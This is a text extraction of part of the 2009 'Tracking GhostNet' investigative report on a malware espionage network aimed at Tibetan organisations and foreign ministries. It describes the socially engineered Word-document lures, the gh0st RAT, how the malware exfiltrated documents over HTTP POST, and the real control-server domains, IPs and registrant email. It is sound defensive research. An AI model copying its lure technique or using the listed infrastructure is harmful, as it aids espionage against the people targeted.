computers p. 40 Methodology p. 40 Selected infections p. 42 Infection timeline p. 44 Part Three: Investigating GhostNet: Conclusions p. 46 Alternative explanations p. 47 Attribution p. 48 The significance of GhostNet p. 49 Part Four: About the Information Warfare Monitor p. 51 Boxes Box 1: Chinese Internet SIGINT in practice p. 28 Tables Table 1: Domain name registration information p. 32 Table 2: List of selected infections p. 42 Figures Fig.
207
12: The geographic location of infected hosts p. 41 Fig.
41,774
42,302
529
data/reports_final/0207.txt
12: The geographic location of infected hosts p. 41 Fig. 13. GhostNet infection timeline p. 45 5JR02-2009 Tracking GhostNet - SUMMARY Summary Trojan horse programmes and other associated malware are often cited as vectors for conducting sophisticated computer-based espionage. Allegations of cyber espionage (computer network exploitation) are increasingly common, but there are few case studies in the unclassified realm that expose the inner workings of such networks. This study reveals the existence and operational reach of a malware-based cyber espionage network that we call GhostNet. Between June 2008 and March 2009 the Information Warfare Monitor conducted an extensive and exhaustive two-phase investigation focused on allegations of Chinese cyber espionage against the Tibetan community. We conducted field-based investigations in India, Europe and North America. In India we worked directly with affected Tibetan organizations, including the Private Office of the Dalai Lama, the Tibetan Government-in-Exile, and several Tibetan NGOs. In Europe and North America we worked with Tibetan missions in London, Brussels, and New York. The fieldwork generated extensive data that allowed us to examine Tibetan information security practices, as well as capture real-time evidence of malware that had penetrated Tibetan computer systems. During the second phase of our investigation, the data was analyzed, and led to the discovery of insecure, web-based interfaces to four control servers. These interfaces allow attacker(s) to send instructions to, and receive data from, compromised computers. Our research team successfully scouted these servers, revealing a wide-ranging network of compromised computers. This extensive network consists of at least 1,295 infected computers in 103 countries. Significantly, close to 30 of the infected computers can be considered high-value and include the ministries of foreign affairs of Iran, Bangladesh, Latvia, Indonesia, Philippines, Brunei, Barbados and Bhutan embassies of India, South Korea, Indonesia, Romania, Cyprus, Malta, Thailand, Taiwan, Portugal, Germany and Pakistan the ASEAN (Association of Southeast Asian Nations) Secretariat, SAARC (South Asian Association for Regional Cooperation), and the Asian Development Bank news organizations and an unclassified computer located at NATO headquarters. The GhostNet system directs infected computers to download a Trojan known as gh0st RAT that allows attackers to gain complete, real-time control. These instances of gh0st RAT are consistently controlled from commercial Internet access accounts located on the island of Hainan, Peoples Republic of China. Our investigation reveals that GhostNet is capable of taking full control of infected computers, including searching and downloading specific files, and covertly operating attached devices, including microphones and web cameras. The vector for spreading the GhostNet infection leverages social means. Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan 6JR02-2009 Tracking GhostNet - SUMMARY horse programmes designed to take advantage of vulnerabilities in software installed on the targets computer. Once compromised, files located on infected computers may be mined for contact information, and used to spread malware through e-mail and document attachments that appear to come from legitimate sources, and contain legitimate documents and messages. It is therefore possible that the large percentage of high value targets identified in our analysis of the GhostNet are coincidental, spread by contact between individuals who previously communicated through e-mail. Nonetheless the existence of the GhostNet network is a significant fact in and of itself. At the very least, it demonstrates the ease by which computer-based malware can be used to build a robust, low- cost intelligence capability and infect a network of potentially high-value targets. Key findings: Documented evidence of a cyber espionage network GhostNetinfecting at least 1,295 computers in 103 countries, of which close to 30 can be considered as high-value diplomatic, political, economic, and military targets. Documented evidence of GhostNet penetration of computer systems containing sensitive and secret information at the private offices of the Dalai Lama and other Tibetan targets. Documentation and reverse engineering of the modus operandi of the GhostNet systemincluding vectors, targeting, delivery mechanisms, data retrieval and control systemsreveals a covert, difficult-to-detect and elaborate cyber-espionage system capable of taking full control of affected systems. 7JR02-2009 Tracking GhostNet - INTRODUCTION Introduction Computer network exploitation represents the leading edge of signals intelligence in the information age. The proliferation of computer systems throughout governments, businesses, and civic organizations represents a boon for would-be cyber spies. Awareness of cyber vulnerabilities, and even basic information security practices, is in its infancy, and largely absent in most organizations outside of the classified realm. Commercial computer systems, which represent most of the worlds installed base, are insecure. This lack of security consciousness is reflective of the infancy of the information age. The Internet was never designed for security and, for the most part, there has been little incentive for software manufacturers to make security a first priority in the design and development of products, many of which are destined for consumer and/or small business use. These challenges are present in advanced industrial societies, but are amplified many times over in developing countries. Ownership of computers is a relative rarity among many government departments. Where they exist, they often use grey market or pirated software. Resources are lacking to employ properly trained computer professionals, and many staff are barely computer literate. In this context, information security is often a distant priority. And yet, computers in the hands of individuals or at government offices, ministries, embassies, and civic and non-governmental organizations contain information that can be valuable. Files and e-mails with contact information, lists of meetings and attendees, draft position papers, internal PowerPoint presentations, organizational budgets, and lists of visitors can represent items of strategic value to rivals and enemies. Organizations, like individuals, can be subject to identity theft, leading to potentially serious breaches of security. Rise of the cyber spies Little is known of the sophistication of state-based cyber espionage capabilities, such as those of the United States, Israel, and the United Kingdom, all considered leaders in this field. They are assumed to be considerable as the security doctrines of these countries treat cyberspace as a strategic domain equivalent to that of land, air, sea, and space.2 Other powers including China have made cyberspace a key pillar of their national security strategies. China is actively developing an operational capacity in cyberspace, correctly identifying it as the domain in which it can achieve strategic parity, if not superiority, over the military establishments of the United States and its allies. Chinese cyber warfare doctrine is well developed, and significant resources have been invested by the Peoples Liberation Army and security services in developing defensive and offensive capabilities.3 2 http://www.dod.mil/pubs/foi/ojcs/07-F-2105doc1.pdf http://www.afa.org/media/reports/victorycyberspace.pdf 3 http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ai_n31140190 http://www.infowar-monitor.net/modules.php?opmodload nameArchivefileindexreqviewarticleartid2page1 8JR02-2009 Tracking GhostNet - INTRODUCTION But the most significant actors in cyberspace are not states. The online engagements that accompanied the recent Russia-Georgia conflict in August 20084 and Israels January 2009 offensive in Gaza5 were carried out by independent attackers. The May 2007 denial of service attacks against Estonia6 resulted in a single conviction of a Russian living in Estonia. Likewise, previous high-profile investigations of hacking against strategic U.S. targets were never positively attributed to foreign intelligence services7, and in many cases were the work of individuals.8 The contest in the shadows currently underway in cyberspace appears to rely largely on third parties. In numerous instances, including case studies conducted by the Information Warfare Monitors sister project, the OpenNet Initiative, third party attackers were responsible for triggering national-level cyber events. In Kyrgyzstan (2005)9, Belarus (2006)10, during the Russia Georgia war (2008), and Kyrgyzstan (2009), individuals and/or loose coalitions were responsible for publishing target lists and attack tools on semi-private websites. The ensuing cyclones in cyberspace were sufficient to precipitate events outside of cyberspace.11 International cooperation has for the most part focused on establishing capabilities for counteracting the criminal use of cyberspace, and with good reason. In 2009, the FBI estimated that cybercrime is responsible for over 10 billion worth of losses each year.12 Cybercrime is a relatively low cost, low threshold activity. Techniques such as phishing and targeted malware are easy to construct, and the chances of prosecution are minimal given a general lack of international coordination. This is slowly changing as national and international authorities become more aware of the threat. The attacks on Estonia, for example, led to the establishment of NATOs Cooperative Cyber Defence Centre of Excellence in Tallinn, Estonia.13 The International Telecommunication Union has also established its own specialized agency, IMPACT, designed to aid intelligence sharing and tracking of 4 http://blog.wired.com/defense/2008/10/government-and.html http://www.slate.com/id/2197514 5 http://www.csmonitor.com/2009/0123/p04s03-wome.html 6 http://www.webpronews.com/topnews/2008/01/24/man-convicted-in-estonia-cyber-attack 7 For example, a US government investigation of systematic hacking of Department of Defense networks and defence laboratories dubbed Titan Rain never provided conclusive evidence to substantiate allegations that the hacking was conducted at the behest of the Chinese government. http://www.time.com/time/magazine/article/0,9171,1098961,00.html 8 A good example is the 1998 Solar Sunrise investigation. The evidence gathered by US authorities eventually led to the conviction of an Israeli citizen, Ehud Tenebaum, although the involvement of Israeli security services was never proven. http://www.sans.org/ resources/idfaq/solar_sunrise.php 9 http://opennet.net/special/kg/ 10 http://opennet.net/sites/opennet.net/files/ONI_Belarus_Country_Study.pdf 11 http://www.infowar-monitor.net/modules.php?opmodloadnameNewsfilearticlesid2146 12 http://kn.theiet.org/magazine/issues/0903/hacking-goes-pro-0903.cfm 13 http://www.nato.int/docu/update/2008/05-may/e0514a.html 9JR02-2009 Tracking GhostNet - INTRODUCTION malicious criminal activity in cyberspace.14 Countries such as the United States, Russia and China have also entered into bilateral agreements with allied countries and partners. A focus on China Recent allegations of Chinese cyber espionage largely rely on anecdotal evidence. The most common proof provided by victims of these attacks consists of log files or malware that shows connections being made by infected computers to IP addresses assigned to the Peoples Republic of China. This kind of evidence is circumstantial at best. Internet usage statistics suggest that focusing on Chinese instances of information warfare is misleading.15 With 41 of the worlds Internet users located in Asia, China alone accounts for the largest national population of Internet userssome 300 million, nearly one-fifth of the global number of users. Coupled with the rapid growth in Chinese use of the Interneta 1,200 increase in the period 2000-2008this would more than account for the rise in instances of Chinese-oriented malware.16 At the same time, however, allegations of Chinese hacking and exploitation of private and government computer systems are persistent enough to warrant an evidence-based investigation. This report provides such an investigation. Outline of report This report is divided into three parts: Part one provides a brief introduction to the context and background to this report. We examine past allegations of cyber espionage by China-based actors and the challenge of evidence-based research in this field. Part one concludes with a brief description of the methods used in our two-phase investigation. Part two provides a detailed account of the conduct of our investigation. The findings of each phase are presented sequentially. Part three analyses the overall findings of the investigation, suggests alternative explanations and assesses the implications. 14 http://www.itu.int/osg/csd/cybersecurity/gca/impact/index.html 15 For global Internet usage statistics please see http://www.internetworldstats.com 16 http://blog.stopbadware.org/2009/03/03/wheres-the-badware PART ONE: Context and background 11JR02-2009 Tracking GhostNet - PART ONE Context and background: Alleged Chinese operations in cyberspace China has been developing its cyberspace doctrine and capabilities since the late 1990s as part of its military modernization programme. The Chinese doctrine of active defence, which is the belief that China must be ready to respond to aggression immediately, places an emphasis on the development of cyber warfare capabilities. The Chinese focus on cyber capabilities as part of its strategy of national asymmetric warfare involves deliberately developing capabilities that circumvent U.S. superiority in command-and-control warfare. The strategy recognizes the critical importance of the cyber domain to American military and economic power and the importance of offensive cyber operations to victory in a modern conflict with the United States. Chinese doctrine also emphasizes the contiguity between military and non-military realms.17 In recent years, there has been an increase in allegations that China-based hackers are responsible for high-level penetrations of computer systems in Europe, North America and Asia. Attackers originating in China have been accused of infiltrating government computers in the United States, Britain, France, Germany, South Korea, and Taiwan. China-based hackers have been accused of data theft from foreign government computers and commercial and financial institutions. The U.S. Department of Defense reports it is continuously targeted by Chinese attackers, most notably in the series of attacks since 2003 known as Titan Rain, which targeted the Department of Defense and numerous defence companies.18 There are also allegations of attacks originating from China directed against non-governmental organizations active in regions where China has a national interest. This includes organizations advocating on the conflict in the Darfur region of Sudan,19 Tibetan groups active in India, and the Falun Gong. The majority of attacks involve website defacements, denial of service attacks, or virus writing campaigns. Nationalistic and patriotic cyber-activity by Chinese nationals intensifies during crises, such as during Sino-American or Sino-Taiwanese tensions (see below). To date none of these attacks have been traced back to Chinese state authorities or specific individuals, although many have benefited official Chinese policy and interests. 17 http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ai_n31140190 http://www.infowar-monitor.net/modules.php?opmodloadna meArchivefileindexreqviewarticleartid2page1 http://www.heritage.org/Research/asiaandthepacific/upload/bg_2106.pdf 18 http://www.time.com/time/magazine/article/0,9171,1098961,00.html http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ ai_n31140190 http://www.afa.org/media/reports/victorycyberspace.pdf 19 http://www.insidetech.com/news/articles/1630-mysterious-forces-hack-pro-tibet-save-darfur-sites http://www.washingtonpost. com/wp-dyn/content/article/2008/03/20/AR2008032003193.html 12JR02-2009 Tracking GhostNet - PART ONE Applying the evidence-based approach to cyber attacks: the challenge of attribution Determining those responsible for cyber attacks, commonly known as the attribution problem, is a major challenge. The Internet was never built with security as a priority. The current version of the Internets address assignment system, IP V4, provides a wealth of loopholes and methods by which a perpetrator can mask his or her real identity and location. Online identities and servers can be cleverly hidden. Packet flows and connections can be masked and redirected through multiple servers. A clever attacker can often hijack a machine belonging to an otherwise innocent organization and use it as a base for launching attacks. Hand-in-hand with the problem of attribution is the difficulty of identifying motivating factors behind a cyber attack. Many perpetrators of Internet-based attacks and exploits are individuals whose motivation can vary from a simple profit motive through to fear of prosecution or strong emotional feelings, including religious belief and nationalism. Many cyber attacks and exploits which seem to benefit states may be the work of third-party actors operating under a variety of motivations. This makes it difficult to separate the motivation of the individual from the potential motives of the party on whose behalf the attacks have occurred, or a prospective client to which the perpetrator is trying to market his or her wares. In either case, the challenge of identifying perpetrators and understanding their motives gives state actors convenient plausible deniability and the ability to officially distance themselves from attacks. Cyber campaigns can also take on a life of their own. Even though a state might seed a particular campaign through tacit encouragement or the absence of sanctions or prosecutions, these campaigns are inherently chaotic and unpredictable in scope and outcome.20 Phenomena such as spontaneous cyber rioting can surpass the initial purposes of the cyber campaign. Low barriers to entry to this sort of activity enable anyone with a computer and Internet connection to take part in a cyber- attack.21 For the most part, governments appear to passively benefit from online manifestations of nationalistic and patriotic fervour, although outcomes are inherently unpredictable.22 In China, the authorities most likely perceive individual attackers and their online activities as convenient instruments of national power.23 A favourite target of Chinese hackers is Taiwanese computer systems, especially during times of Sino-Taiwanese tensions, such as elections and 20 http://www.yorku.ca/robarts/projects/canada-watch/obama/pdfs/Deibert.pdf 21 http://worldanalysis.net/modules/news/article.php?storyid343 22 For instance, during the Russia-Georgia conflict in August 2008, tools were made available online for those who wished to participate in the ongoing cyber-war against Georgian websites. http://blog.wired.com/defense/2008/10/government-and.html http://www.slate.com/id/2197514 23 http://findarticles.com/p/articles/mi_m0PBZ/is_6_88/ai_n31140190 http://fmso.leavenworth.army.mil/documents/Beijings- rising-hackers.pdf 13JR02-2009 Tracking GhostNet - PART ONE referendums.24 In April 2001, following the death of a Chinese fighter pilot after a collision with an American spy plane near the Chinese island of Hainan, Chinese hackers began a sustained campaign to target American computer networks. No link was made with elements of the Chinese government.25 However, governments cannot always preserve direct control over such activities groups can maintain their freelance and autonomous status and undertake their own cyber initiatives that may not always attain official sanction or serve state interests.26 Targeting Tibet Accusations of Chinese cyber war being waged against the Tibetan community have been commonplace for the past several years. The Chinese government has been accused of orchestrating and encouraging such activity as part of a wider strategy to crack down on dissident groups and subversive activity.27 Earlier research has traced these attacks against Tibetan groups to IP addresses registered in the Peoples Republic of China. The attacks used malware hidden in legitimate-looking email messages, infecting unsuspecting users computers and exploiting the data on it by sending it to control servers.28 The identity of the attackers has never been attributed in a conclusive manner to any specific group or individual.29 The motivation of those behind the attacks, despite conjecture, is also unproven. In earlier studies, researchers focused on attacks specifically targeting the Tibetan community. But a wide variety of other victims of computer penetrations have reported infections similar to those used against Tibetan organizations, following a similar modus operandi and also reporting to control servers usually located in China. These additional targets include the Falun Gong30, the U.S. Government, and multinational corporations.31 While reports of these targeted attacks have circulated, the extent to which attackers successfully exploited the affected computers is unknown. 24 http://fmso.leavenworth.army.mil/documents/Beijings-rising-hackers.pdf 25 http://news.bbc.co.uk/2/hi/americas/1305755.stm 26 http://fmso.leavenworth.army.mil/documents/Beijings-rising-hackers.pdf 27 http://www.washingtonpost.com/wp-dyn/content/article/2008/03/21/AR2008032102605.html 28 See, http://isc.sans.org/diary.html?storyid4177 http://isc.sans.org/diary.html?storyid4176 and http://archive.cert.uni-stuttgart. de/isn/2002/09/msg00086.html for background information on these attacks. 29 Attribution for previous penetrations of Tibetan groups has never been publicly attributed and is not available from open sources. Classified studies may reveal a finer grained detail, as many of the attacks are relatively unsophisticated, and given proper assets, could be traced back to specific locations and presumably individuals. 30 Research by Maarten Van Horenbeeck shows that similar attacks have targeted the Falun Gong. http://www.daemon.be/ maarten/Crouching_Powerpoint_Hidden_Trojan_24C3.pdf and http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_ Vanhorenbeeck.pdf 31 See http://www.businessweek.com/print/magazine/content/08_16/b4080032218430.htm 14JR02-2009 Tracking GhostNet - PART ONE Conduct of the investigation From June 2008 to March 2009 the Information Warfare Monitor conducted an in-depth investigation of alleged cyber espionage against the Tibetan community. We chose this case study because of the unprecedented access that we were granted to Tibetan institutions through one of our researchers, and persistent allegations that confidential information on secure computers was somehow being compromised. Our lead field investigator had a long history of working with the Tibetan community, and was able to work with the private office of the Dalai Lama, the Tibetan Government-in-Exile, and a number of Tibetan non-governmental organizations. The investigation consisted of two distinct phases. Phase 1: Field-based investigations in India, Europe, and North America (June-November 2008) Field research was carried out in Dharamsala, India, the location of the Tibetan Government-in-Exile. Follow-up research was conducted at Tibetan missions abroad in London, Brussels and New York. During this phase we had unprecedented access to the Tibetan government and other Tibetan organizations. This allowed us to establish a baseline understanding of information security practices at these locations and to design an evidence-based approach to the investigation. We also conducted extensive on-site interviews with officials in the Tibetan Government-in-Exile, the private office of the Dalai Lama, and Tibetan non-governmental organizations. The interviews focused on the allegations of cyber espionage. We also sought alternative explanations for leakage of confidential documents and information and examined basic information security practices at these locations. Network monitoring software was installed on various computers so as to collect forensic technical data from affected computer systems, and initial results were analysed in situ.32 This initial analysis confirmed the existence of malware and the transfer of information between infected computers and a number of control servers.33 Phase 2: Computer-based scouting, target selection, and data analysis (December 2008-March 2009) During the second phase of the investigation, researchers based at the Citizen Lab analysed the data collected by the field team. The data collected in Dharamsala and at Tibetan missions abroad led to the discovery of four control servers and six command servers. These control servers were identified and geo-located from the captured 32 A portion of the fieldwork was carried out in conjunction with Dr. Shishir Nagaraja who spent five days in Dharamsala at the request of IWM researchers and assisted in conducting technical tests. 33 A packet capturing program, Wireshark, was installed at each test location. All traffic from each of the affected systems was captured in real-time, and recorded for further analysis. Compromised systems try to connect to control servers in order check-in and report an infection. Once a connection is made, infected computers may receive instructions or additional locations from where they are to download instructions. The Wireshark data is sufficient to analyse these connections, determine the behaviour of the attack vector, and identify the location of control servers. 15JR02-2009 Tracking GhostNet - PART ONE traffic using a simple IP lookup.34 The control servers were then probed and web-based control interfaces were identified on four control servers, which allowed us to view and control the network. The system was actively monitored for two weeks, which allowed us to derive an extensive list of infected systems, and to also monitor the systems operator(s) as the operator(s) specifically instructed target computers. The data collected during both phases was integrated in Palantir, a data visualization and analysis tool. The Palantir platform provides a data fusion and visualization environment that enhances analytical capabilities. 34 We looked up the associated Internet Protocol (IP) address in all five Regional Internet Registries in order to identify the country and network to which the IP address is assigned. We then performed a reverse Domain Name System (DNS) look-up on each IP address. DNS is the system that translates domain names into IP addresses reverse DNS is a system that translates an IP address into a domain name. This can potentially provide additional information about the entity that has been assigned a particular IP address. If we discovered a domain name, we then looked up its registration in WHOIS, which is a public database of all domain name registrations and provides information about who registered the domain name. PART TWO: Tracking GhostNet 17 Phase 1: Field investigation We conducted our investigation in Dharamsala between July and September 2008. The initial purpose was to gather targeted malware samples from Tibetan NGOs based in the area and to brief the Tibetan Government-in-Exile (TGIE) on the basics of information security. This included raising end-user awareness about social engineering and its policy implications for the secure use of information systems. The investigator met with the Dalai Lamas representative in Geneva, Tseten Samdup. During the meeting, Samdup inquired about the potential threat to computer security at the Office of His Holiness the Dalai Lama (OHHDL) in light of the targeted malware threat. Samdup requested that the investigator perform a preliminary security review of OHHDL systems, including Dalailama.com and the office computer network. A five day mission was scheduled in early September. Malware was discovered on computers located in the OHHDL. Following the discovery of malware in the OHHDL, our investigator shifted focus to the campus network of the Tibetan Government-in-Exile. We approached Thubten Samphel, a senior civil servant in the Department for Information and International Relations, and sought permission to run Wireshark on several key computer systems, and to access the firewall logs at the Tibetan Computing Resource Centre. This access was readily granted. Additional testing was carried out at a Tibetan NGO. This was done at the suggestion of Phuntsok Dorjee, the director of a local NGO, TibTec. Dorjee suggested that we conduct testing and monitoring at the offices of Drewla.35 As was the case at other sitesthe investigator conducted a series of interviews with the NGO staff. Targeted malware previous research In September 2002, Tibetan groups reported that they were targeted with malware originating from servers in mainland China. They claimed that this was a coordinated attempt to disrupt their operations and spy on their computer networks. Similar attacks have occurred since then against a range of Tibetan non-state actors, including exile groups, human rights organizations, trade unions and labour organizers, writers, scholars and intellectuals. In 2005, a member of our investigating team convened a working group that coordinated the collection and archiving of the malware, including the payloads and associated examples of social engineering employed. Since early 2008, we have analysed every sample available to us, and identified control servers for at least fifty incidents. During an analysis of attacks which occurred during the 2008 Beijing Olympics we discovered the location of a control server that was later identified as part of the network which infected a computer in the private office of the Dalai Lama. 35 The Drewla Initiative Project is an outreach model that seeks new ways to communicate directly with citizens of the Peoples Republic of China. It relies heavily on the Internet. JR02-2009 Tracking GhostNet - PART TWO 18 We were able to gain access to the command interface of this control server and identify the infected computers which reported back to this server. While were are unable to prove exactly how the computer in the Dalai Lamas office became infected, this case demonstrates one of the attack vectors used by the attacker(s) behind the network of infected computers we later uncovered.36 The following steps illustrate the attack vector using the malicious document we collected, which was configured to connect to a control server to which we later acquired access. ( See Fig. 1 - p.19) An email message arrives in the targets inbox carrying the malware in an attachment or web link. The attackers(s) objective is to get the target to open the attachment or malicious link so that the malicious code can execute. In this case, the attacker(s) sent a carefully crafted email message which was configured to appear as if it was sent from campaignsfreetibet.org with an attached infected Word document named Translation of Freedom Movement ID Book for Tibetans in Exile.doc to entice the recipient to open the file.37 (See Fig. 2 - p. 20) Over time, it has been observed that the carrier emails have become more sophisticated in their targeting and content in order to trick their recipients into believing that they are receiving legitimate messages. This is also known as social engineering. It is common to see legitimate documents recycled for such attacks or the attacker injecting their message into an ongoing group conversation. There are also cases where it appears that content stolen from previously-infected machines was recycled to enhance the appearance of legitimacy. The targeted user proceeds to opens the attachment or malicious link. Once opened, the infected file or link exploits a vulnerability on the users machine and installs the malware on the users computer, along with a seemingly benign file. From the users perspective, the infected document will often open normally, leaving the user unaware of the infection that just took place. Only 11 of the 34 anti-virus programs provided by Virus Total38 recognized the malware embedded in the document. Attackers often use executable packers to obfuscate their malicious code in order to avoid detection by anti-virus software. ( See Fig. 3 - p. 21) Researchers monitoring the use of socially engineered malware attacks against the Tibetan community have identified over eight different Trojan families in use.39 Control over some targeted machines is maintained using the Chinese gh0st RAT (Remote Access Tool). These Trojans generally allow for near-unrestricted access to the infected systems. 36 A detailed technical investigation of a similar case of a targeted attack which connected to the same control server is available here: http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx another investigation of targeted attacks connecting to the same control server is available here: http://www.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 37 For a detailed list of malicious files and control servers see xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxx 38 VirusTotal.com is a free, web-based service that allows users to upload malicious files that are scanned with 34 leading anti-virus products. 39 http://isc.sans.org/diary.html?storyid4177 JR02-2009 Tracking GhostNet - PART TWO 19 This Palantir screen capture summarizes the relationships between an unknown sender pretending to be campaignsfreetibet.org, the email sent to the International Tibet Support Network , and the attachment (Translation of Freedom Movement ID Book for Tibetans in Exile.doc) that contained malware that connected to a GhostNet control server. Fig. 1 A Social Engineering attack connects to GhostNet. JR02-2009 Tracking GhostNet - PART TWO This email was sent on July 25, 2008 by an unknown attacker pretending to be campaignsfreetibet.org to the International Tibet Support Network. Attached to the message was a Microsoft Word document named Translation of Freedom Movement ID Book for Tibetans in Exile.doc that exploits a vulnerability in Word to install malware on the targets computer system. Fig. 2 A Socially Engineered email sent to the International Tibet Support Network. 20JR02-2009 Tracking GhostNet - PART TWO 21 This is a screen capture from VirusTotal.com, a free, web-based service that allows users to upload malicious files that are scanned with anti-virus products. It shows that only 11 of 34 anti-virus products detected the malicious file (Translation of Freedom Movement ID Book for Tibetans in Exile.doc). Fig. 3 A Virus Total screen capture of a malware infected email attachment. JR02-2009 Tracking GhostNet - PART TWO 22 After infecting the target, the Trojan packed in the Word document performed a DNS look-up to find its control server and then connected to that server. This Trojan attempted to connect to xxxxxxxxxxxxxxxx. This is one of the control servers that we later scouted and was in the same Trojan family that infected computers in the Dalai Lamas private office. About 70 of the control servers behind the attacks on Tibetan organizations are located on IP addresses assigned to China. However, servers have also been identified in the United States, Sweden, South Korea and Taiwan. The host names pointing to these servers are quite often configured on dynamic DNS services, such as 3322.org. While these services in and of themselves are not malicious, they are heavily used in these specific attacks.40 Information Warfare Monitor field research In September and October 2008 the Information Warfare Monitor investigated information security practices and alleged cyber espionage activities on the computer systems in various offices related to the work of the Dalai Lama and other Tibetan groups. The offices that we investigated were: the Office of His Holiness the Dalai Lama (OHHDL), based in Dharamsala, India the Tibetan Government-in-Exile (TGIE) various Offices of Tibet (OOT) in New York City, London, Paris, Brussels, and Geneva and the Tibetan activist NGO, Drewla. ( See Fig. 4 - p. 23) Office of His Holiness the Dalai Lama The OHHDL is the personal office of the Dalai Lama. The OHHDL provides secretarial assistance and is responsible for all matters related to the Dalai Lama and acts on his behalf. It is worth noting that the OHHDLs primary responsibilities include organization of the Dalai Lamas international schedule, handling all diplomatic, governmental and personal correspondence, and acting as the liaison between the Dalai Lama and officials of the Tibetan Government-in-Exile (TGIE) and the Offices of Tibet (OOT) worldwide. Therefore the OHHDLs computer network is continuously transmitting and receiving extremely sensitive data. While the Office does not have any secrets, it is essentially the hub of the Tibetan movement and thus handles strategic, time-sensitive communications. Examples of these communications include scheduling meetings with world leaders, and, since 2002, coordinating the negotiations between the Peoples Republic of China and Dharamsala. On September 10, 2008, we used Wireshark to capture packets from an OHHDL computer named xxxxxx. We chose xxxxxxx from among 23 computers on the OHHDL internal network due to time constraints and consultations with office staff to identify the computers most likely to be infected, such as those operated by relatively inexperienced users vulnerable to social engineering techniques, or those handling particularly sensitive data. An analysis of the data collected reveals that this computer was compromised by malware that was in interactive communication with identified control servers. The infected computer connected to 40 http://www.businessweek.com/print/magazine/content/08_16/b4080032218430.htm JR02-2009 Tracking GhostNet - PART TWO 23 A Palantir screen capture showing the Tibetan organizations at which we conducted field research and the connections from infected computers at these locations and various control servers located in China. The locations at which we found evidence of infection are: the Office of His Holiness the Dalai Lama, the Tibetan Government-in-Exile, the Offices of Tibet in New York City and London and the Tibetan activist NGO, Drewla. Fig. 4 Field researchers discovered malware at five Tibetan locations. JR02-2009 Tracking GhostNet - PART TWO 24 four different IP addresses, each with a somewhat different method. While there are four groupings of communications between the infected computer and the control servers, they are related such that there appear to be two distinct families of malware. In both cases, the malware uses the protocol for standard web traffic, HTTP, in order make the network activity appear as if it were normal Internet browsing. The first family of malware used HTTP connections to connect to PHP files.41 Despite connecting to different IP addresses and requesting different files, both used the same unique key when communicating, indicating that they are part of the same family of malware. 1) The malware made connections to a control server on IP address xxxxxxxxxxxx using two host names, xxxxxxxxxxxxxxxx and xxxxxxxxxxxxxxxxxx. The IP address xxxxxxxxx is in a range assigned to Hainan-TELECOM (xxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxx) in China. The malware used HTTP to connect to various PHP files on the control server in order to update its status and receive instructions about where to download commands. The commands are embedded in what appear to be image files (e.g. JPEG). 2) The malware made connections to a control server on IP address xxxxxxxxxxx, port 8000. This IP address reverse resolved to xxxxxxxxxxx.broad.hk.hi.dynamic.163data. com.cn and is in an IP range assigned to Hainan-TELECOM (HAIFU node adsl dialup ports) in China. The malware used HTTP POST to upload content to the control server.42 The investigation carried out in Phase 2 identified the network of control servers used in this particular attack. The control servers we discovered include the control server used in the well- documented instances of social malware used frequently against Tibetan targets during the 2008 Olympics in Beijing. The second family of malware used HTTP POST to connect to a CGI43 script to communicate between the infected computer and the control server. While their functions appear to be different, with one malware focusing on reporting and commands and the other on document retrieval, they are likely part of the same family of malware. In addition, the domain names used, www.lookbytheway.net and www. macfeeresponse.org, are registered to the same person, zhou zhaojun (losttemp33hotmail.com). 1) The malware made connections to a control server on IP address 221.5.250.98 using the host name www.lookbytheway.net. The IP address 221.5.250.98 is assigned to CNCGROUP-CQ (CNC Group CHINA169 Chongqing Province Network) in China. The malware on the infected computer used HTTP to connect to a file in an attempt to inform the control server of the infected computers status and to download commands. 41 PHP is a popular scripting language often used in web applications. 42 HTTP POST is a method often used to upload content to a web server. 43 CGI scripts are often written in the Perl programming language. JR02-2009 Tracking GhostNet - PART TWO 25 In one case, the file the infected computer was requesting was not present and the infected computer received a 404 error. However, successful connections were made via HTTP to CGI scripts. The infected computer used HTTP POST to submit data to CGI scripts hosted on the control server. 2) The malware made connections to a control server on 218.241.153.61 using the host name www.macfeeresponse.org. The IP address 218.241.153.61 is assigned to BITNET (Beijing Bitone United Networks) in Beijing, China. The malware on the infected computer used HTTP to connect to a file to inform the control server of the infected computers status and download commands. In addition, connections were made via HTTP to CGI scripts. The infected computer used HTTP POST to submit data to CGI scripts hosted on the control server. Connections to one CGI script appear to inform the control server of the presence of particular documents, while connections to a second CGI script appear to cause the infected computer to upload documents to the control server using HTTP POST. Instances of malware that connect to control server locations www.lookbytheway.net and www. macfeeresponse.org have been analysed by security companies.44 This network extends to a variety of domain names including: www.lookbytheway.com 210.51.7.155 www.macfeeresponse.com - 210.51.7.155 www.msnppt.net - 221.5.250.98 www.msnxy.net - 210.51.7.155 www.msnyf.com - 221.5.250.98 www.networkcia.com - 210.51.7.155 www.indexnews.org - 61.188.87.58 www.indexindian.com - 210.51.7.155 During the in situ investigation at the Dalai Lamas private office we observed several documents being exfiltrated from the computer network and uploaded to www.macfeeresponse.org, including a document containing thousands of email addresses and one detailing and discussing the Dalai Lamas envoys negotiating position. ( see Fig. 5 - p. 26) Our investigators did not have access to the stolen documents for reasons of confidentiality. However, we can assume their significance to Sino-Tibetan negotiations. One example is the fact that GhostNet penetrated computers of organizations involved in China-TGIE negotiations.45 44 See, http://www.threatexpert.com/report.aspx?md579f7f4695b8878cf1760e8626129ca88 and http://www.threatexpert.com/report. aspx?md5ea03a7359505e19146994ad77b2a1e46 45 Lodi Gyari is the lead person designated by the Dalai Lama to coordinate negotiations with the Chinese government. Our invesigator interviewed him in December 2008 in Delhi. We briefed him on our ongoing investigation and offered advice on information security while engaged in negotiations in Beijing. Lodi Gyari is also the Executive Chairman of the Board of the International Campaign for Tibet (ICT), an independent Washington-based human rights advocacy group. ( Note that our investigation uncovered that seven of ICTs computers were compromised by GhostNet). JR02-2009 Tracking GhostNet - PART TWO 26JR02-2009 Tracking GhostNet - PART TWO This screen capture of the Wireshark network analysis tool shows an infected computer at the Office of His 